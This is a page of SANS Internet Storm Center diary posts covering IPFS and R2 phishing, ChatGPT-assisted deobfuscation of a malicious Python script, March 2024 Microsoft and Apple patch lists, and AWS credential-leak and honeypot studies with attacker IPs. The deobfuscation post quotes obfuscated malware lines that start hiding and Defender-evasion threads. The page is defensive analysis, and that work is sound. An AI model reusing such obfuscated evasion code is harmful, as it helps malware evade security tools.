Although limiting access to R2 and IPFS in this way would only be a minor addition to any security program, given how long threat actors have been using both of these services, it might at least be worth considering. Most phishing messages that point to these services will undoubtedly be stopped by automatic security solutions, however if one does get through and its recipient has a “brain freeze” at the same time, it may save an organization a small headache associated with stolen credentials…

For IPFS, blocking access outright should have no negative impact, however for R2 buckets, it would probably be worth checking on whether they are being used for anything business-relevant first.

[1] https://www.tripwire.com/state-of-security/google-forms-used-call-back-phishing-scam
[2] https://isc.sans.edu/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580
[3] https://en.wikipedia.org/wiki/InterPlanetary_File_System
[4] https://www.theregister.com/2022/07/29/ipfs_phishing_trustwave/
[5] https://www.trendmicro.com/en_us/research/22/l/web3-ipfs-only-used-for-phishing---so-far.html
[6] https://isc.sans.edu/forums/diary/IPFS+phishing+and+the+need+for+correctly+set+HTTP+security+headers/29638/
[7] https://developers.cloudflare.com/r2/
[8] https://developers.cloudflare.com/r2/buckets/public-buckets/
[9] https://www.netskope.com/blog/evasive-phishing-campaign-steals-cloud-credentials-using-cloudflare-r2-and-turnstile
[10] https://github.com/ipfs/public-gateway-checker/blob/main/gateways.json

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

0 Comments

Published: 2024-03-13

Using ChatGPT to Deobfuscate Malicious Scripts

Today, most of the malicious scripts in the wild are heavily obfuscated. Obfuscation is key to slow down the security analyst's job and to bypass simple security controls. They are many techniques available. Most of the time, your trained eyes can spot them in a few seconds but it remains a pain to process manually. How to handle them? For soe of them, you have tools like numbers-to-strings.py[1], developed by Didier, to convert classic encodings back to strings. Sometimes, you can write your own script (time consuming) or use a Cyberchef recipe. To speed up the analysis, why not ask some help to AI tools? Let's see a practical example with ChatGPT.

Yesterday, I found a malicious Python script (SHA256:b31d0148ab14678600dbdfb86183831431872de738f21032e51339c31f83d743) with a low VirusTotal score of 2/61[2]. When I had a look at it, it was obfuscated with the following techniques. All interesting strings were hex-encode, compressed and Base64-encoded:

if config.get(__import__('base64').b64decode(__import__('zlib').decompress(b'x\xda\x0b5\n+\x8e\xca\xb1\xccO\x0c\x0f\xca\x01\x00\x1as\x045')).decode()):
    Thread(target=self.hide).start()
if config.get(__import__('base64').b64decode(__import__('zlib').decompress(b'x\xda\x0br\xcf\xa9\x8a\x0c\xf7*\x8e\n\xb3\xcc\x8e\n\x8f\xcaI\xca\r\xcaIN\xb7\xb5\x05\x00k\xba\x08\x89')).decode()):
    Thread(target=self.defender).start()

First of all, it's not readable in the code above but some strings were in UTF-16:

There was a huge amount of obfuscated strings (443 in total). Let's try tro process them with ChatGPT:

The request took a few seconds to get some feedback but results were perfect (I only submitted a small part of the script)

Of course, you could use the API to automate this process! In the mean time, I'm also playing with ChatGPT within Ghidra to help understanding disassembled code. More to come!

[1] https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py
[2] https://www.virustotal.com/gui/file/b31d0148ab14678600dbdfb86183831431872de738f21032e51339c31f83d743

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 Comments

Published: 2024-03-12

Microsoft Patch Tuesday - March 2024

This month's patches are oddly "light". We have patches for 60 vulnerabilities and 4 Chromium patches affecting Microsoft Edge. But only two of the vulnerabilities are rated as "Critical":

CVE-2024-21408: Windows Hyper-V Denial of Service Vulnerability
CVE-2024-21407: Windows Hyper-V Remote Code Execution Vulnerability

Oddly, Microsoft considers a DoS vulnerability "critical". However, a DoS against Hyper-V could have a significant impact, which may justify the rating. The code execution vulnerability justifies a rating of critical. However, exploitation requires an attacker to first gain a foothold inside a virtual machine.

Other vulnerabilities of interest:

CVE-2024-26198: A remote code execution vulnerability for Exchange Server. This is a DLL loading issue that is typically more difficult to exploit. Authentication is required to exploit the vulnerability.

Overall, this Patch Tuesday doesn't look too bad. Follow your normal patch management process. There is no need to get all worked up; tomorrow morning: Have some coffee, test... and later deploy once the tests are completed successfully.

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET and Visual Studio Denial of Service Vulnerability
%%cve:2024-21392%% No No - - Important 7.5 6.7
Azure Data Studio Elevation of Privilege Vulnerability
%%cve:2024-26203%% No No - - Important 7.3 7.0
Azure SDK Spoofing Vulnerability
%%cve:2024-21421%% No No - - Important 7.5 6.5
Chromium: CVE-2024-2173 Out of bounds memory access in V8
%%cve:2024-2173%% No No - - -    
Chromium: CVE-2024-2174 Inappropriate implementation in V8
%%cve:2024-2174%% No No - - -    
Chromium: CVE-2024-2176 Use after free in FedCM
%%cve:2024-2176%% No No - - -    
Hypervisor-Protected Code Integrity (HVCI) Security Feature Bypass Vulnerability
%%cve:2024-21431%% No No - - Important 7.8 6.8
Intel: CVE-2023-28746 Register File Data Sampling (RFDS)
%%cve:2023-28746%% No No - - Important    
Microsoft AllJoyn API Denial of Service Vulnerability
%%cve:2024-21438%% No No - - Important 7.5 6.5
Microsoft Authenticator Elevation of Privilege Vulnerability
%%cve:2024-21390%% No No - - Important 7.1 6.2
Microsoft Azure Kubernetes Service Confidential Container Elevation of Privilege Vulnerability
%%cve:2024-21400%% No No - - Important 9.0 8.1
Microsoft Defender Security Feature Bypass Vulnerability
%%cve:2024-20671%% No No - - Important 5.5 4.8
Microsoft Django Backend for SQL Server Remote Code Execution Vulnerability
%%cve:2024-26164%% No No - - Important 8.8 7.7
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2024-21419%% No No - - Important 7.6 6.6
Microsoft Edge for Android Spoofing Vulnerability
%%cve:2024-26167%% No No Less Likely Less Likely - 4.3 3.8
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2024-26198%% No No - - Important 8.8 7.7
Microsoft Intune Linux Agent Elevation of Privilege Vulnerability
%%cve:2024-26201%% No No - - Important 6.6 5.9
Microsoft ODBC Driver Remote Code Execution Vulnerability
%%cve:2024-21451%% No No - - Important 8.8 7.7
%%cve:2024-26159%% No No - - Important 8.8 7.7
%%cve:2024-21440%% No No - - Important 8.8 7.7
%%cve:2024-26162%% No No - - Important 8.8 7.7
Microsoft Office Elevation of Privilege Vulnerability
%%cve:2024-26199%% No No - - Important 7.8 6.8
Microsoft QUIC Denial of Service Vulnerability
%%cve:2024-26190%% No No - - Important 7.5 6.5
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-21426%% No No - - Important 7.8 6.8
Microsoft Teams for Android Information Disclosure Vulnerability
%%cve:2024-21448%% No No - - Important 5.0 4.4
Microsoft WDAC OLE DB provider for SQL Server Remote Code Execution Vulnerability
%%cve:2024-21441%% No No - - Important 8.8 7.7
%%cve:2024-21444%% No No - - Important 8.8 7.7
%%cve:2024-21450%% No No - - Important 8.8 7.7
%%cve:2024-26161%% No No - - Important 8.8 7.7
%%cve:2024-26166%% No No - - Important 8.8 7.7
Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability
%%cve:2024-21434%% No No - - Important 7.8 6.8
NTFS Elevation of Privilege Vulnerability
%%cve:2024-21446%% No No - - Important 7.8 6.8
Open Management Infrastructure (OMI) Elevation of Privilege Vulnerability
%%cve:2024-21330%% No No - - Important 7.8 7.0
Open Management Infrastructure (OMI) Remote Code Execution Vulnerability
%%cve:2024-21334%% No No - - Important 9.8 8.5
Outlook for Android Information Disclosure Vulnerability
%%cve:2024-26204%% No No - - Important 7.5 6.5
Skype for Consumer Remote Code Execution Vulnerability
%%cve:2024-21411%% No No - - Important 8.8 7.7
Software for Open Networking in the Cloud (SONiC) Elevation of Privilege Vulnerability
%%cve:2024-21418%% No No - - Important 7.8 6.8
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2024-26165%% No No - - Important 8.8 7.7
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2024-26160%% No No - - Important 5.5 4.8
Windows Composite Image File System (CimFS) Elevation of Privilege Vulnerability
%%cve:2024-26170%% No No - - Important 7.8 6.8
Windows Compressed Folder Tampering Vulnerability
%%cve:2024-26185%% No No - - Important 6.5 5.7
Windows Error Reporting Service Elevation of Privilege Vulnerability
%%cve:2024-26169%% No No - - Important 7.8 6.8
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2024-21437%% No No - - Important 7.8 6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2024-21408%% No No - - Critical 5.5 4.8
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2024-21407%% No No - - Critical 8.1 7.1
Windows Installer Elevation of Privilege Vulnerability
%%cve:2024-21436%% No No - - Important 7.8 6.8
Windows Kerberos Security Feature Bypass Vulnerability
%%cve:2024-21427%% No No - - Important 7.5 6.5
Windows Kernel Denial of Service Vulnerability
%%cve:2024-26181%% No No - - Important 5.5 4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-21443%% No No - - Important 7.3 6.4
%%cve:2024-26173%% No No - - Important 7.8 6.8
%%cve:2024-26176%% No No - - Important 7.8 6.8
%%cve:2024-26178%% No No - - Important 7.8 6.8
%%cve:2024-26182%% No No - - Important 7.8 6.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2024-26174%% No No - - Important 5.5 4.8
%%cve:2024-26177%% No No - - Important 5.5 4.8
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-21435%% No No - - Important 8.8 7.7
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2024-21433%% No No - - Important 7.0 6.1
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-26197%% No No - - Important 6.5 5.7
Windows Telephony Server Elevation of Privilege Vulnerability
%%cve:2024-21439%% No No - - Important 7.0 6.1
Windows USB Attached SCSI (UAS) Protocol Remote Code Execution Vulnerability
%%cve:2024-21430%% No No - - Important 5.7 5.1
Windows USB Hub Driver Remote Code Execution Vulnerability
%%cve:2024-21429%% No No - - Important 6.8 5.9
Windows USB Print Driver Elevation of Privilege Vulnerability
%%cve:2024-21442%% No No - - Important 7.8 6.8
%%cve:2024-21445%% No No - - Important 7.0 6.1
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2024-21432%% No No - - Important 7.0 6.1

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-10

What happens when you accidentally leak your AWS API keys? [Guest Diary]

[This is a Guest Diary by Noah Pack, an ISC intern as part of the SANS.edu BACS program]

As a college freshman taking my first computer science class, I wanted to create a personal project that would test my abilities and maybe have some sort of return. I saw a video online of someone who created a python script that emailed colleges asking for free swag to be shipped to him. I liked the idea and adapted it. I created a script that emailed companies and asked for free swag, knowing that most conferences that year had been canceled due to the COVID-19 pandemic. I wrote my script, made a new email account for the script to use, created a list of ten companies it would email, and it worked flawlessly. To celebrate my achievement, I uploaded my code to GitHub. The next thing I knew, I was getting login attempts to the email address I set up for my script to use. I had hardcoded the email address and password into my code, and my computer science class didn’t teach us safe programming practices.

My situation had no ill consequences, but it could have if I had used my actual email for the script or if my project was bigger and I had used AWS or another cloud provider and hardcoded those credentials. In a later class I did learn how to safely pass credentials to my scripts without fear of leaking them on GitHub, but leaked credentials remained on my mind. This led me to the question “What happens when you leak your AWS API keys?”
In this article, I will share some research, resources, and real-world data related to leaked AWS API keys. I won’t get into scenarios where credentials are stored properly but stolen via a vulnerability, only where a developer or other AWS user hardcodes their credentials into a GitHub repository or a website.

Canary Tokens 

To collect data, I used Canary Tokens. Canary Tokens are honeypots that, when opened or used, send an alert to their owner informing them of a breach. Canary Tokens can be a word document, QR code, AWS API key, or many other file types to suit various needs. The AWS API key token is a file that looks like this:

(This is an actual Canary Token)

It looks exactly the same as how a developer would store this information and contains everything needed to make a successful connection to the AWS API. Nothing beyond that works to prevent an attacker from actually abusing these keys. 

I left a Canary Token on a decently trafficked e-commerce website I help maintain, hardcoded into the website’s source. I also posted one on my GitHub account in an obvious repository with a name that any researcher would recognize as a test.  

All the Canary Tokens I created were used.

Research

The token I added to the source code of a website took three days before an attacker tested it, generating this alert:

The traffic came from a Proton VPN user. It is likely that they were using a crawler to scan websites for credentials or vulnerabilities but could have been testing the collected credentials manually. This was the only time this canary was tested. Because the person who tested it was using a VPN, it would be nearly impossible to find exactly where this attacker is from. The IP used to test this key has been seen doing other attacks, but because of the anonymity associated with a shared VPN IP address, it would not be possible to tie this to any other reported incidents involving this IP.

The user-agent information that the Canary Token includes is very interesting. We know that the attacker is using a Python script to check if the credentials are valid with the Boto3 library. We also know the script is running on the Windows Subsystem for Linux. This information helped me to create a script [2] that tests AWS API keys to see if they are valid.

My data is not large enough to say definitively that if you hardcode credentials into your decently trafficked e-commerce website you will have a couple days to fix them before they are used. In this case too, a crawler may have picked up the keys much earlier, and they were not tested until days later. 

The AWS API keys I posted to GitHub were tested much sooner. Within minutes, I was receiving email alerts like the one pictured below:

I soon became overwhelmed with alerts and turned them off to preserve my email inbox. The interesting difference with these attempts to use my canary was that they were almost all coming from what turned out to be one company. 

Clearly, if you post your AWS credentials, they will be picked up and used by someone, whether it is a security company, researcher, or attacker. So, what can you do to resolve this problem if you find yourself in it? The first thing you should do is generate new AWS API keys and deactivate the ones you leaked. There is no way to undo posting credentials when things like the wayback machine exist. The best solution is to prevent this from happening in the first place.

Luckily, there are tools like GitGuardian [3], GitLeaks, TruffleHog [4], and RepoSupervisor that can be integrated into your Continuous Integration and Continuous Deployment (CICD) pipeline and scan for hardcoded credentials before the code goes into production. Some of those tools require subscriptions, like GitGuardian, while others, like truffleHog, are free and open source. I created a script that can verify if an AWS API key works; you can find it at the end of this article in my GitHub account. My reasoning for creating my own script was that many of these tools include features that would not be useful if your goal is only to verify whether the keys work, while some tools that can do this are made for exploiting that access. I wanted to create a simple script that anyone in IT could look at and understand so QA, junior developers, interns, and new analysts who find an AWS API key can quickly verify it without putting it into a tool they do not fully understand. 

Why does this matter?

Hardcoding credentials happen more often than you might think. There are lots of new developers, and in my experience, secure coding practices are not taught to university students until the upper-level classes. Even then, experienced developers make mistakes, unintended files get committed, and code left in place to test can sometimes make its way to production. There is a reason that entire companies exist to scan for these credentials. 

Conclusion

If you are writing code, do your best not to hardcode credentials; someone will find them. The allure of free swag may distract you, but remediation is more time-consuming than doing it the right way in the first place. Implementing tools in your CICD pipeline to scan for these mistakes is a great preventative measure, but it is not perfect. Use IAM permissions in AWS to limit each API key to only the permissions it needs.

[1] Canary Tokens: https://docs.canarytokens.org/guide/
[2] My Script: https://github.com/npackt/Simple-AWS-API-Key-tester
[3] Git guardian: https://www.gitguardian.com/
[4] TruffleHog: https://trufflesecurity.com/trufflehog
[5] More on AWS API keys: https://aws.amazon.com/what-is/api-key/
[6] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-08

MacOS Patches (and Safari, TVOS, VisionOS, WatchOS)

 

After patching iOS and iPadOS a few days ago, Apple patched the rest of its lineup today, most notably macOS. These updates include the two 0-days patched for iOS. Interestingly, we also see three vulnerabilities addressed specifically for VisionOS, Apple's latest operating system. One of the VisionOS vulnerabilities affects Personas, a feature only available in VisionOS.

NOTE: Apple amended its list of vulnerabilities for iOS/iPadOS. Many of the vulnerabilities below also affect iOS. The initial release only noted four different vulnerabilities.

Apple security bulletin URL: https://support.apple.com/en-us/HT201222

Safari 17.4 macOS Sonoma 14.4 macOS Ventura 13.6.5 macOS Monterey 12.7.4 watchOS 10.4 tvOS 17.4 visionOS 1.1
CVE-2024-23273 [moderate] Safari Private Browsing
This issue was addressed through improved state management.
Private Browsing tabs may be accessed without authentication
x x          
CVE-2024-23252 [moderate] WebKit
The issue was addressed with improved memory handling.
Processing web content may lead to a denial-of-service
x x          
CVE-2024-23254 [moderate] WebKit
The issue was addressed with improved UI handling.
A malicious website may exfiltrate audio data cross-origin
x x     x x x
CVE-2024-23263 [other] WebKit
A logic issue was addressed with improved validation.
Processing maliciously crafted web content may prevent Content Security Policy from being enforced
x x     x x x
CVE-2024-23280 [moderate] WebKit
An injection issue was addressed with improved validation.
A maliciously crafted webpage may be able to fingerprint the user
x x     x x  
CVE-2024-23284 [other] WebKit
A logic issue was addressed with improved state management.
Processing maliciously crafted web content may prevent Content Security Policy from being enforced
x x     x x x
CVE-2024-23291 [moderate] Accessibility
A privacy issue was addressed with improved private data redaction for log entries.
A malicious app may be able to observe user data in log entries related to accessibility notifications
  x     x x  
CVE-2024-23276 [moderate] Admin Framework
A logic issue was addressed with improved checks.
An app may be able to elevate privileges
  x x x      
CVE-2024-23227 [important] Airport
This issue was addressed with improved redaction of sensitive information.
An app may be able to read sensitive location information
  x x x      
CVE-2024-23233 [moderate] AppleMobileFileIntegrity
This issue was addressed with improved checks.
Entitlements and privacy permissions granted to this app may be used by a malicious app
  x          
CVE-2024-23269 [important] AppleMobileFileIntegrity
A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions.
An app may be able to modify protected parts of the file system
  x x x      
CVE-2024-23288 [moderate] AppleMobileFileIntegrity
This issue was addressed by removing the vulnerable code.
An app may be able to elevate privileges
  x     x x  
CVE-2024-23277 [moderate] Bluetooth
The issue was addressed with improved checks.
An attacker in a privileged network position may be able to inject keystrokes by spoofing a keyboard
  x          
CVE-2024-23247 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to unexpected app termination or arbitrary code execution
  x x x      
CVE-2024-23248 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x          
CVE-2024-23249 [moderate] ColorSync
The issue was addressed with improved memory handling.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x          
CVE-2024-23250 [moderate] CoreBluetooth - LE
An access issue was addressed with improved access restrictions.
An app may be able to access Bluetooth-connected microphones without user permission
  x     x x  
CVE-2024-23244 [moderate] Dock
A logic issue was addressed with improved restrictions.
An app from a standard user account may be able to escalate privilege after admin user login
  x x x      
CVE-2024-23205 [moderate] ExtensionKit
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access sensitive user data
  x          
CVE-2022-48554 [moderate] file
This issue was addressed with improved checks.
Processing a file may lead to a denial-of-service or potentially disclose memory contents
  x     x x  
CVE-2024-23253 [moderate] Image Capture
A permissions issue was addressed with additional restrictions.
An app may be able to access a user's Photos Library
  x          
CVE-2024-23270 [important] Image Processing
The issue was addressed with improved memory handling.
An app may be able to execute arbitrary code with kernel privileges
  x x x   x  
CVE-2024-23257 [important] ImageIO
The issue was addressed with improved memory handling.
Processing an image may result in disclosure of process memory
  x x x     x
CVE-2024-23258 [critical] ImageIO
An out-of-bounds read was addressed with improved input validation.
Processing an image may lead to arbitrary code execution
  x         x
CVE-2024-23286 [critical] ImageIO
A buffer overflow issue was addressed with improved memory handling.
Processing an image may lead to arbitrary code execution
  x x x x x x
CVE-2024-23234 [important] Intel Graphics Driver
An out-of-bounds write issue was addressed with improved input validation.
An app may be able to execute arbitrary code with kernel privileges
  x x x      
CVE-2024-23266 [important] Kerberos v5 PAM module
The issue was addressed with improved checks.
An app may be able to modify protected parts of the file system
  x x x      
CVE-2024-23235 [important] Kernel
A race condition was addressed with additional validation.
An app may be able to access user-sensitive data
  x     x x x
CVE-2024-23265 [important] Kernel
A memory corruption vulnerability was addressed with improved locking.
An app may be able to cause unexpected system termination or write kernel memory
  x x x x x x
CVE-2024-23225 [moderate] *** EXPLOITED *** Kernel
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
  x x x x x x
CVE-2024-23278 [important] libxpc
The issue was addressed with improved checks.
An app may be able to break out of its sandbox
  x     x x  
CVE-2024-0258 [moderate] libxpc
The issue was addressed with improved memory handling.
An app may be able to execute arbitrary code out of its sandbox or with certain elevated privileges
  x     x x  
CVE-2024-23279 [important] MediaRemote
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x          
CVE-2024-23287 [important] Messages
A privacy issue was addressed with improved handling of temporary files.
An app may be able to access user-sensitive data
  x     x    
CVE-2024-23264 [important] Metal
A validation issue was addressed with improved input sanitization.
An application may be able to read restricted memory
  x x x   x x
CVE-2024-23285 [moderate] Music
This issue was addressed with improved handling of symlinks.
An app may be able to create symlinks to protected regions of the disk
  x          
CVE-2024-23283 [important] Notes
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x x x      
CVE-2023-48795 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2023-51384 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2023-51385 [moderate] OpenSSH
Multiple issues were addressed by updating to OpenSSH 9.6.
Multiple issues in OpenSSH
  x          
CVE-2022-42816 [important] PackageKit
A logic issue was addressed with improved state management.
An app may be able to modify protected parts of the file system
  x          
CVE-2024-23216 [moderate] PackageKit
A path handling issue was addressed with improved validation.
An app may be able to overwrite arbitrary files
  x x x      
CVE-2024-23267 [moderate] PackageKit
The issue was addressed with improved checks.
An app may be able to bypass certain Privacy preferences
  x x x      
CVE-2024-23268 [moderate] PackageKit
An injection issue was addressed with improved input validation.
An app may be able to elevate privileges
  x x x      
CVE-2024-23274 [moderate] PackageKit
An injection issue was addressed with improved input validation.
An app may be able to elevate privileges
  x x x      
CVE-2023-42853 [important] PackageKit
A logic issue was addressed with improved checks.
An app may be able to access user-sensitive data
  x          
CVE-2024-23275 [moderate] PackageKit
A race condition was addressed with additional validation.
An app may be able to access protected user data
  x x x      
CVE-2024-23255 [moderate] Photos
An authentication issue was addressed with improved state management.
Photos in the Hidden Photos Album may be viewed without authentication
  x          
CVE-2024-23294 [moderate] QuartzCore
This issue was addressed by removing the vulnerable code.
Processing malicious input may lead to code execution
  x          
CVE-2024-23296 [moderate] *** EXPLOITED *** RTKit
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
  x     x x x
CVE-2024-23259 [moderate] Safari
The issue was addressed with improved checks.
Processing web content may lead to a denial-of-service
  x          
CVE-2024-23238 [moderate] Sandbox
An access issue was addressed with improved access restrictions.
An app may be able to edit NVRAM variables
  x          
CVE-2024-23239 [important] Sandbox
A race condition was addressed with improved state handling.
An app may be able to leak sensitive user information
  x     x x  
CVE-2024-23290 [important] Sandbox
A logic issue was addressed with improved restrictions.
An app may be able to access user-sensitive data
  x     x x  
CVE-2024-23232 [moderate] Screen Capture
A privacy issue was addressed with improved handling of temporary files.
An app may be able to capture a user's screen
  x          
CVE-2024-23231 [important] Share Sheet
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to access user-sensitive data
  x     x    
CVE-2024-23230 [moderate] SharedFileList
This issue was addressed with improved file handling.
An app may be able to access sensitive user data
  x x x      
CVE-2024-23245 [moderate] Shortcuts
This issue was addressed by adding an additional prompt for user consent.
Third-party shortcuts may use a legacy action from Automator to send events to apps without user consent
  x x x      
CVE-2024-23292 [moderate] Shortcuts
This issue was addressed with improved data protection.
An app may be able to access information about a user's contacts
  x          
CVE-2024-23289 [moderate] Siri
A lock screen issue was addressed with improved state management.
A person with physical access to a device may be able to use Siri to access private calendar information
  x     x    
CVE-2024-23293 [moderate] Siri
This issue was addressed through improved state management.
An attacker with physical access may be able to use Siri to access sensitive user data
  x     x x  
CVE-2024-23241 [important] Spotlight
This issue was addressed through improved state management.
An app may be able to leak sensitive user information
  x       x  
CVE-2024-23272 [moderate] Storage Services
A logic issue was addressed with improved checks.
A user may gain access to protected parts of the file system
  x x x      
CVE-2024-23242 [moderate] Synapse
A privacy issue was addressed by not logging contents of text fields.
An app may be able to view Mail data
  x          
CVE-2024-23281 [moderate] System Settings
This issue was addressed with improved state management.
An app may be able to access sensitive user data
  x          
CVE-2024-23260 [important] TV App
This issue was addressed by removing additional entitlements.
An app may be able to access user-sensitive data
  x          
CVE-2024-23246 [important] UIKit
This issue was addressed by removing the vulnerable code.
An app may be able to break out of its sandbox
  x     x x x
CVE-2024-23226 [critical] WebKit
The issue was addressed with improved memory handling.
Processing web content may lead to arbitrary code execution
  x     x x x
CVE-2024-23218 [moderate] CoreCrypto
A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions.
An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key
    x x      
CVE-2024-23201 [important] libxpc
A permissions issue was addressed with additional restrictions.
An app may be able to cause a denial-of-service
    x x      
CVE-2023-28826 [moderate] MediaRemote
This issue was addressed with improved redaction of sensitive information.
An app may be able to access sensitive user data
    x x      
CVE-2024-23204 [moderate] Shortcuts
The issue was addressed with additional permissions checks.
A shortcut may be able to use sensitive data with certain actions without prompting the user
    x x      
CVE-2024-23297 [moderate] MediaRemote
The issue was addressed with improved checks.
A malicious application may be able to access private information
        x x  
CVE-2024-23262 [moderate] Accessibility
This issue was addressed with additional entitlement checks.
An app may be able to spoof system notifications and UI
            x
CVE-2024-23295 [moderate] Persona
A permissions issue was addressed to help ensure Personas are always protected
An unauthenticated user may be able to use an unprotected Persona
            x
CVE-2024-23220 [moderate] Safari
The issue was addressed with improved handling of caches.
An app may be able to fingerprint the user
            x

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

1 Comments

Published: 2024-03-07

[Guest Diary] AWS Deployment Risks - Configuration and Credential File Targeting

[This is a Guest Diary by Josh Lockwood, an ISC intern as part of the SANS.edu Bachelor's Degree in Applied Cybersecurity (BACS) program [1].

Summary

I performed a comparison of Web Honeypot logs from cloud-deployed Dshield honeypots in AWS and Azure in order to test the theory that some URL requests are targeted towards specific deployments. I found evidence to support my hypothesis in that only the AWS-hosted honeypot received requests for AWS-specific resources.These requests were most likely focused towards hosts based on the public IP address for the cloud service.

Research and Analysis

During the course of the internship, I often found that many of the HTTP requests I encountered and investigated appeared to be untargeted, testing for vulnerabilities to exploit over a wide range of devices and patches. However, I also began to notice HTTP requests for AWS-specific URLs nearly everyday in my Web Honeypot logs. I found this particularly interesting due to the fact that I deployed my honeypot using an EC2 instance at the beginning of the internship. I hypothesized that certain bots and scripts specifically look for AWS EC2 and VPC IP addresses and submit requests to try and find vulnerable deployments, web applications, and service on those hosts.

Inspection of two of the more common URLs, “/aws credentials” and “/.aws/config” on the Dshield website showed similar, interesting trends. Per AWS documentation, these files are used to store configuration settings and credentials for users and resources in AWS[2]. Both URLs had been seen prior to my deployment of the honeypot in AWS EC2, but there was a notable uptick around the same time that I deployed my honeypot.There was a clear increase in requests for both URLs on 2023-10-17, the first full day that the honeypot was deployed [3][4].


Figure 1. Trend for /aws/credentials URLs since Feb. 2023.

 


Figure 2. Trend for /.aws/config URLs since Feb. 2023.

In order to test my hypothesis that the requests were targeted at my AWS deployment, I deployed another honeypot in the Azure Cloud on 2024-01-13. I collected sixteen full days of Web Honeypot logs (2024-01-14 to 2024-01-20 and 2024-02-02 to 2024-02-10) from both honeypots and compared the results. I used the command “cat webhoneypot-2024-01-14.json | jq .url | sort | uniq -c | sort -n | grep -i "aws/"” to list out the AWS-specific URLs in each honeypot for 2024-01-14 and compared the results. I repeated the process for each of the other fifteen days. I observed no AWS-specific URLs from the Azure honeypot, while I observed at least one nearly daily in the AWS honeypot, the exceptions being 2024-02-08 and 2024-02-09 where no AWS config/credential file requests were captured.


Figure 3. Search results from the AWS honeypot 2024-01-14 to 2024-01-20.

 


Figure 4. Search results from the AWS honeypot 2024-02-02 to 2024-02-10.

 


Figure 5. Search results from the Azure honeypot 2024-01-14 to 2024-01-20.

 


Figure 6. Search results from the Azure honeypot 2024-02-02 to 2024-02-10.

I also reviewed some of the information surrounding the URL requests. I found that both GET and POST requests were used. I compiled a list of each IP that was used each day and organized them by IP and Country. I checked each IP on VirusTotal to confirm the host country and to see if the IPs were flagged as malicious by any of the security vendors. All but three of the IPs were flagged as malicious by at least one security vendor. Additionally several of the IPs were repeated across different days. The three most common were %%ip:78.153.140.175%%, %%ip:78.153.140.177%%, and %%ip:78.153.140.224%%, all of which are IPs associated with HostGlobal.plus in Great Britain and have been flagged as malicious by at least once vendor on VirusTotal.

Table 1. IPs observed as part of the investigation.
Date IP Country Flagged by VT
2024-01-14 %%ip:194.67.201.41%% RU Yes
2024-01-15 %%ip:4.151.191.148%% USA No
  %%ip:78.153.140.175%% GB Yes
  %%ip:78.153.140.177%% GB Yes
  %%ip:78.153.140.224%% GB Yes
2024-01-16 %%ip:45.92.229.151%% USA Yes
  %%ip:45.92.229.153%% USA Yes
  %%ip:45.130.83.8%% USA Yes
  %%ip:45.130.83.11%% USA Yes
  %%ip:45.130.83.23%% USA Yes
  %%ip:45.130.83.28%% USA Yes
  %%ip:78.153.140.177%% GB Yes
  %%ip:141.98.11.107%% LT Yes
2024-01-17 %%ip:8.222.213.27%% SG Yes
  %%ip:78.153.140.224%% GB Yes
2024-01-18 %%ip:54.222.143.33%% CN No
  %%ip:78.153.140.175%% GB Yes
2024-01-19 %%ip:13.250.8.18%% SG No
  %%ip:54.222.143.33%% CN No
  %%ip:78.153.140.177%% GB Yes
2024-01-20 %%ip:78.153.140.177%% GB Yes
2024-02-02 %%ip:78.153.140.175%% GB Yes
2024-02-03 %%ip:78.153.140.177%% GB Yes
  %%ip:78.153.140.224%% GB Yes
2024-02-04 %%ip:34.209.164.218%% USA (Amazon) Yes
  %%ip:78.153.140.175%% GB Yes
2024-02-05 %%ip:78.153.140.177%% GB Yes
2024-02-06 %%ip:35.85.58.38%% USA (Amazon) Yes
  %%ip:78.153.140.175%% GB Yes
  %%ip:78.153.140.177%% GB Yes
2024-02-08 NONE
2024-02-09 NONE
2024-02-10 %%ip:78.153.140.177%% GB Yes
